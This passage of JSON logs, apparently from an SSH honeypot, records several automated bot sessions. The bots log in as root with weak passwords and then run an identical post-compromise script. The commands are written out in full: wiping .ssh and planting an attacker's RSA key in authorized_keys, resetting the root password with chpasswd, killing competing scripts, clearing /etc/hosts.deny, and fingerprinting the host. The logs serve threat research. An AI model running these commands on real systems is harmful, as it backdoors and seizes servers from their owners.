168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:34:09.392718+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:34:09.782705+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:34:10.528411+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:34:11.310620+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:34:12.058475+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:34:12.414053+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:34:13.160573+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:34:14.319485+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:34:15.066627+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:34:16.547321+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc123456.","method":"password","accepted":true,"tier":"other"}]} {"id":"bed0f065-88a9-4511-b220-7486a531d149","name":"jolly-brisk-ouzel","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":64060,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":291,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:27:19.683969+00:00","ended_at":"2026-08-26T14:27:21.927711+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:26:53.129752+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:26:53.419127+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:26:57.345457+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:26:58.396283+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:26:58.688215+00:00","kind":"input","latency_ms":null,"data":"echo \"root:zmOGODt7crf0\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:26:58.977332+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:26:59.265900+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:27:00.023973+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:27:00.115735+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:27:00.412742+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:27:01.938131+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:27:02.232774+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T14:27:03.242616+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T14:27:03.535763+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T14:27:05.230545+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T14:27:05.520604+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T14:27:07.655232+00:00","kind":"output","latency_ms":null,"data":" 14:27:07 up 6 days, 11:17, 0 user, load average: 0.05, 0.06, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T14:27:07.946468+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T14:27:08.848577+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T14:27:09.140318+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T14:27:10.254760+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T14:27:10.545048+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T14:27:12.099866+00:00","kind":"output","latency_ms":null,"data":"top - 14:27:12 up 6 days, 11:17, 0 user, load average: 0.05, 0.06, 0.05\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T14:27:12.390523+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T14:27:14.506446+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T14:27:14.804346+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T14:27:15.908413+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T14:27:16.198930+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T14:27:17.298145+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T14:27:17.589091+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T14:27:19.392799+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T14:27:19.684837+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T14:27:21.842025+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"456654","method":"password","accepted":true,"tier":"other"}]} {"id":"6db6a079-e5ba-43a2-9b1b-6773fc1a40c7","name":"placid-proud-greenfinch","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40707,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":748,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:25:56.614579+00:00","ended_at":"2026-08-26T14:25:57.789293+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-26T14:25:28.873481+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:25:29.620646+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:25:36.124728+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:25:36.537473+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:25:37.290768+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ra8lui2ZUaJ4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:25:38.037231+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:25:38.783562+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:25:39.184598+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:25:39.931744+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:25:41.280517+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:25:42.032645+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:25:43.190706+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:25:43.940427+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:25:44.382643+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:25:45.134035+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:25:46.000074+00:00","kind":"output","latency_ms":null,"data":" 14:25:45 up 6 days, 11:15, 0 user, load average: 0.06, 0.08, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:25:46.747218+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:25:46.999749+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:25:47.747003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:25:48.424230+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:25:49.170549+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:25:49.704928+00:00","kind":"output","latency_ms":null,"data":"top - 14:25:49 up 6 days, 11:15, 0 user, load average: 0.06, 0.08, 0.06\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:25:50.455257+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:25:51.273469+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:25:52.020669+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:25:52.915782+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:25:53.664069+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:25:54.085211+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:25:54.832524+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:25:55.868020+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:25:56.615559+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:25:57.552646+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"zxy123","method":"password","accepted":true,"tier":"other"}]} {"id":"da7a776d-37a1-4814-9fd8-c934d2057490","name":"slender-tawny-sloth","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":60544,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":282,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:23:21.970160+00:00","ended_at":"2026-08-26T14:23:23.893045+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:22:52.944131+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:22:53.225588+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:22:58.147058+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:22:59.628921+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:22:59.911862+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1Acrfnr8lswq\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:23:00.194995+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:23:00.476616+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:23:01.528055+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:23:01.881924+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:23:02.165852+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:23:03.341455+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:23:03.628366+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T14:23:05.384744+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T14:23:05.670255+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T14:23:07.302680+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T14:23:07.586372+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T14:23:08.594073+00:00","kind":"output","latency_ms":null,"data":" 14:23:08 up 6 days, 11:13, 0 user, load average: 0.09, 0.11, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T14:23:08.877051+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T14:23:10.476956+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T14:23:10.760642+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T14:23:12.494614+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T14:23:12.777249+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T14:23:14.967051+00:00","kind":"output","latency_ms":null,"data":"top - 14:23:14 up 6 days, 11:13, 0 user, load average: 0.09, 0.11, 0.08\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T14:23:15.249273+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T14:23:16.508458+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T14:23:16.791520+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T14:23:18.754923+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T14:23:19.037371+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T14:23:20.471380+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T14:23:20.756374+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T14:23:21.687529+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T14:23:21.971044+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T14:23:23.808745+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Cm123456","method":"password","accepted":true,"tier":"other"}]} {"id":"5c5877b0-9da7-4d45-97ba-2a6981f8117e","name":"diligent-ivory-owl","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40701,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":755,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:20:30.024042+00:00","ended_at":"2026-08-26T14:20:31.672634+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-26T14:20:02.650628+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:20:03.402902+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:20:10.360187+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:20:11.143621+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:20:11.896858+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MWX7NBc5En98\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:20:12.652616+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:20:13.402558+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:20:13.813545+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:20:14.568534+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:20:15.632117+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:20:16.386737+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:20:17.396222+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:20:18.151476+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:20:18.548243+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:20:19.302060+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:20:20.006777+00:00","kind":"output","latency_ms":null,"data":" 14:20:20 up 6 days, 11:10, 0 user, load average: 0.17, 0.17, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:20:20.762041+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:20:21.554418+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:20:22.308937+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:20:22.637801+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:20:23.393333+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:20:23.754139+00:00","kind":"output","latency_ms":null,"data":"top - 14:20:23 up 6 days, 11:10, 0 user, load average: 0.17, 0.17, 0.17\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:20:24.506676+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:20:24.764482+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:20:25.517030+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:20:25.776683+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:20:26.530613+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:20:27.271278+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:20:28.036431+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:20:29.273998+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:20:30.024924+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:20:31.434123+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin@5000","method":"password","accepted":true,"tier":"other"}]} {"id":"d2cb77e3-5717-4532-97d7-953fcf646c32","name":"cosmic-frank-finch","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40698,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":747,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:17:49.196284+00:00","ended_at":"2026-08-26T14:17:50.752858+00:00","ended_reason":"exec 